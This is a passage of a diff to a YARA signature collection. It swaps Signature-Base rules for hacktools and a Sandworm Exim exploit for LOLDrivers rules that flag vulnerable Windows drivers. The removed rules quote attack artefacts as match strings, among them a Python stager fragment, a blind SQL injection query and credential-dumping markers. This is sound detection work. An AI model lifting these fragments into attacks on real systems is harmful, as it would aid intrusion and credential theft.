-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_exim_expl.yar#L150-L167"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5fb61a9cef64ecf97adc78bf67db667cfd9e5e6f3e03f1bba8f3cdbf6c257520"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - filwfp.sys"
+		author = "Florian Roth"
+		id = "ca80dd10-59cc-576d-a077-01dff115016f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8692-L8711"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "490cfbb540dcd70b7bff4fdd62e7ed7400bbfebaf5083523d49f7184670f7b9a"
+		logic_hash = "722b36f80e7c899c75667c989390161a30d1336be397c771174e8753865a6f8c"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "abfa83cf54db8fa548942acd845b4f34acc94c46d4e1fb5ce7e97cc0c6596676"
 
 	strings:
-		$x1 = "import sys;import re, subprocess;cmd" ascii fullword
-		$x2 = "UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';server='http"
-		$x3 = "';t='/admin/get.php';req" ascii
-		$x4 = "ps -ef | grep Little\\ Snitch | grep " ascii fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00460069006c007300650063006c006100620020004600690072006500770061006c006c }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00460069006c007300650063006c0061006200200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200031003200310036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200031003200310036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00660069006c007700660070 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00460069006c007300650063006c006100620020004600690072006500770061006c006c }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00660069006c007700660070002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000460069006c007300650063006c0061006200200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		uint16(0)==0x6d69 and filesize <2KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Mswin_Check_Lm_Group : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Asrockincorporation_Asrautochkupddrvsys_Asrautochkupddrvdriver_4AE4 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file mswin_check_lm_group.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "be17981a-7cbf-55ac-bc81-9330472fc814"
-		date = "2015-06-13"
-		modified = "2021-03-15"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L9-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "115d87d7e7a3d08802a9e5fd6cd08e2ec633c367"
-		logic_hash = "74be6bd9c6e01cc4ec7785b6950c8cf6acf549c06990a9d1734f4a3487a04ba7"
-		score = 70
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrAutoChkUpdDrv_1_0_32.sys"
+		author = "Florian Roth"
+		id = "64fed65f-7b98-54a9-b84d-00401c4e4094"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8714-L8733"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4ae42c1f11a98dee07a0d7199f611699511f1fb95120fabc4c3c349c485467fe"
+		logic_hash = "a07a0630526bf3b9d427a83b00269428059e640787a834ff129cdb23b4c4c245"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Valid_Global_Groups: checking group membership of '%s\\%s'." fullword ascii
-		$s2 = "Usage: %s [-D domain][-G][-P][-c][-d][-h]" fullword ascii
-		$s3 = "-D    default user Domain" fullword ascii
-		$fp1 = "Panda Security S.L." ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100730072004100750074006f00430068006b005500700064004400720076005f0031005f0030005f003300320020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100730072004100750074006f00430068006b005500700064004400720076005f0031005f0030005f00330032002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100730072004100750074006f00430068006b005500700064004400720076005f0031005f0030005f003300320020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100730072004100750074006f00430068006b005500700064004400720076005f0031005f0030005f00330032002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100320020004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <380KB and all of ($s*) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_WAF_Bypass : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Razerinc_Rzpnk_Rzpnk_9E34 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file WAF-Bypass.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d9f40934-873b-5e73-9198-987966027edc"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L30-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "860a9d7aac2ce3a40ac54a4a0bd442c6b945fa4e"
-		logic_hash = "e66d51b465e5d919555084d299a22f07a949a0a9adf4a3f246f6b5222d39b91a"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rzpnk.sys"
+		author = "Florian Roth"
+		id = "17aba336-885e-556a-a05e-9cba2ddbf656"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8736-L8755"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9e3430d5e0e93bc4a5dccc985053912065e65722bfc2eaf431bc1da91410434c"
+		logic_hash = "d07bb8afe8e9e55d9bbf5c96ab8be6bf1f3b65a08873f8956436b87ad3b826d8"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Email: blacksplitn@gmail.com" fullword wide
-		$s2 = "User-Agent:" fullword wide
-		$s3 = "Send Failed.in RemoteThread" fullword ascii
-		$s4 = "www.example.com" fullword wide
-		$s5 = "Get Domain:%s IP Failed." fullword ascii
-		$s6 = "Connect To Server Failed." fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061007a006500720020004f007600650072006c0061007900200053007500700070006f00720074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061007a00650072002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310032002e0036003000380037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310032002e0036003000380037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0052007a0070006e006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030002d0032003000310034 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <7992KB and 5 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Guilin_Veterans_Cookie_Spoofing_Tool : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Wisecleanercom_Wiseunlosys_Wiseunlo_9D53 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Guilin veterans cookie spoofing tool.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "13f78e0b-c975-5879-9af1-8c619d6c94a9"
-		date = "2015-06-13"
-		modified = "2023-01-27"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L50-L67"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "06b1969bc35b2ee8d66f7ce8a2120d3016a00bb1"
-		logic_hash = "5fd136f44ebce28db4f77f2f8730eb67fc4c2d58921b73378b8d87e1444a4b67"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WiseUnlo.sys"
+		author = "Florian Roth"
+		id = "4b731a73-af46-5607-96c3-6aeeb7df9976"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8758-L8778"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9d530642aeb6524691d06b9e02a84e3487c9cdd86c264b105035d925c984823a"
+		hash = "5e27fe26110d2b9f6c2bad407d3d0611356576b531564f75ff96f9f72d5fcae4"
+		logic_hash = "bdf3933b96f571ca3f07d9c3775847d5053f3f147b75068e7dad4a152480935e"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "kernel32.dll^G" fullword ascii
-		$s1 = "\\.Sus\"B" ascii
-		$s4 = "u56Load3" fullword ascii
-		$s11 = "O MYTMP(iM) VALUES (" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069007300650055006e006c006f }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069007300650043006c00650061006e00650072002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e00310032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e00310032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069007300650055006e006c006f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069007300650055006e006c006f }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069007300650055006e006c006f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000310035 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1387KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Marathontool : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_BCFC : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file MarathonTool.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "23513361-ecac-5ddb-92b9-4dd8da12e8db"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L69-L84"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "084a27cd3404554cc799d0e689f65880e10b59e3"
-		logic_hash = "2d52d640ef44d933791d1da0d1263dba15702180c730500e04d364dd6b4d6081"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "aabd529a-516f-5e7f-85e2-b7fa207b89cd"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8781-L8800"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "bcfc2c9883e6c1b8429be44cc4db988a9eecb544988fbd756d18cfca6201876f"
+		logic_hash = "10b04a7ca71652632fb836bfb76f6be8b4c1d9e7e6566f623b52a850b3dbebde"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "MarathonTool" ascii
-		$s17 = "/Blind SQL injection tool based in heavy queries" fullword ascii
-		$s18 = "SELECT UNICODE(SUBSTRING((system_user),{0},1))" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000340039 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1040KB and all of them
+		uint16(0)==0x5a4d and filesize <500KB and all of them
 }
-rule SIGNATURE_BASE_PLUGIN_Trackid : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrddkprovider_Gdrvsys_Windowsrddkdriver_F4FF : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file TracKid.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8dd77df1-748e-5778-be40-38b794c74b97"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L86-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a114181b334e850d4b33e9be2794f5bb0eb59a09"
-		logic_hash = "a62112dbf2ef696e4eb7f6787a0e0930c29d9834f46c87493954498fa4b375f6"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		id = "e7e01116-2971-59fd-bada-ac22cdc17670"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8803-L8823"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f4ff679066269392f6b7c3ba6257fc60dd609e4f9c491b00e1a16e4c405b0b9b"
+		hash = "cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b"
+		logic_hash = "e7ca103b49c11733154f9f4bf164be90f25d3534ea103312047d7f1a9c240131"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "E-mail: cracker_prince@163.com" fullword ascii
-		$s1 = ".\\TracKid Log\\%s.txt" fullword ascii
-		$s2 = "Coded by prince" fullword ascii
-		$s3 = "TracKid.dll" fullword ascii
-		$s4 = ".\\TracKid Log" fullword ascii
-		$s5 = "%08x -- %s" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041004200590054004500200054006f006f006c0073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031003600320030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031003600320030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d006900630072006f0073006f0066007400200043006f00720070002e00200031003900380031002d0031003900390039 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Pc_Pc2015 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_DBC6 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file pc2015.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "aa7c0b5e-91c3-52cc-9e06-b4648d0b8825"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L106-L121"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "de4f098611ac9eece91b079050b2d0b23afe0bcb"
-		logic_hash = "34d66d8b9e637c067ec2d9387b7b57458312d75892e33b95eb1095200799cf3b"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "9a004873-765d-5db7-87e1-8796286635e3"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8826-L8845"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "dbc604b4e01362a3e51357af4a87686834fe913852a4e0a8c0d4c1a0f7d076ed"
+		logic_hash = "becd57b696fe37ea0ae1bd83aa1c00258d1a58fd83c80d9772bea625ad0d6afc"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\svchost.exe" ascii
-		$s1 = "LON\\OD\\O-\\O)\\O%\\O!\\O=\\O9\\O5\\O1\\O" fullword ascii
-		$s8 = "%s%08x.001" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00350030002e0030002e0031003000340031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00350030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100340020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <309KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Sekurlsa : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_F15A : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file sekurlsa.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b65dc578-e5a1-57e6-bd98-2c45cd07e857"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L123-L139"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
-		logic_hash = "dea05c7f19a834cc936c452ca2f6f4286e6c3dae002747c27913960199451c3f"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
+		author = "Florian Roth"
+		id = "ec067130-dde8-58a8-884f-eeda3c7adf57"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8848-L8867"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f15ae970e222ce06dbf3752b223270d0e726fb78ebec3598b4f8225b5a0880b1"
+		logic_hash = "ae01cd2b9b1c504298c0295fd4f3e54199df371787676f19ba0a3ad9340f0c56"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Bienvenue dans un processus distant" fullword wide
-		$s2 = "Format d'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur" wide
-		$s3 = "SECURITY\\Policy\\Secrets" fullword wide
-		$s4 = "Injection de donn" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310035002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310035002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1150KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Mysqlfast : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_4E37 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file mysqlfast.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "93ee91cd-a6b8-5ed9-b750-779f88032be6"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L141-L159"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "32b60350390fe7024af7b4b8fbf50f13306c546f"
-		logic_hash = "3ea75954831e705d0d25efa115288e66868d9b814f0990fd048bbe1209a8d933"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "c827a2fc-e533-5113-a7e5-8ae4f5718d63"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8870-L8889"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4e37592a2a415f520438330c32cfbdbd6af594deef5290b2fa4b9722b898ff69"
+		logic_hash = "cd104e4130ef7fcc525a31aacc1180933cd6fe99a7b0c10a54622c512d699364"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "Invalid password hash: %s" fullword ascii
-		$s3 = "-= MySql Hash Cracker =- " fullword ascii
-		$s4 = "Usage: %s hash" fullword ascii
-		$s5 = "Hash: %08lx%08lx" fullword ascii
-		$s6 = "Found pass: " fullword ascii
-		$s7 = "Pass not found" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100340030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
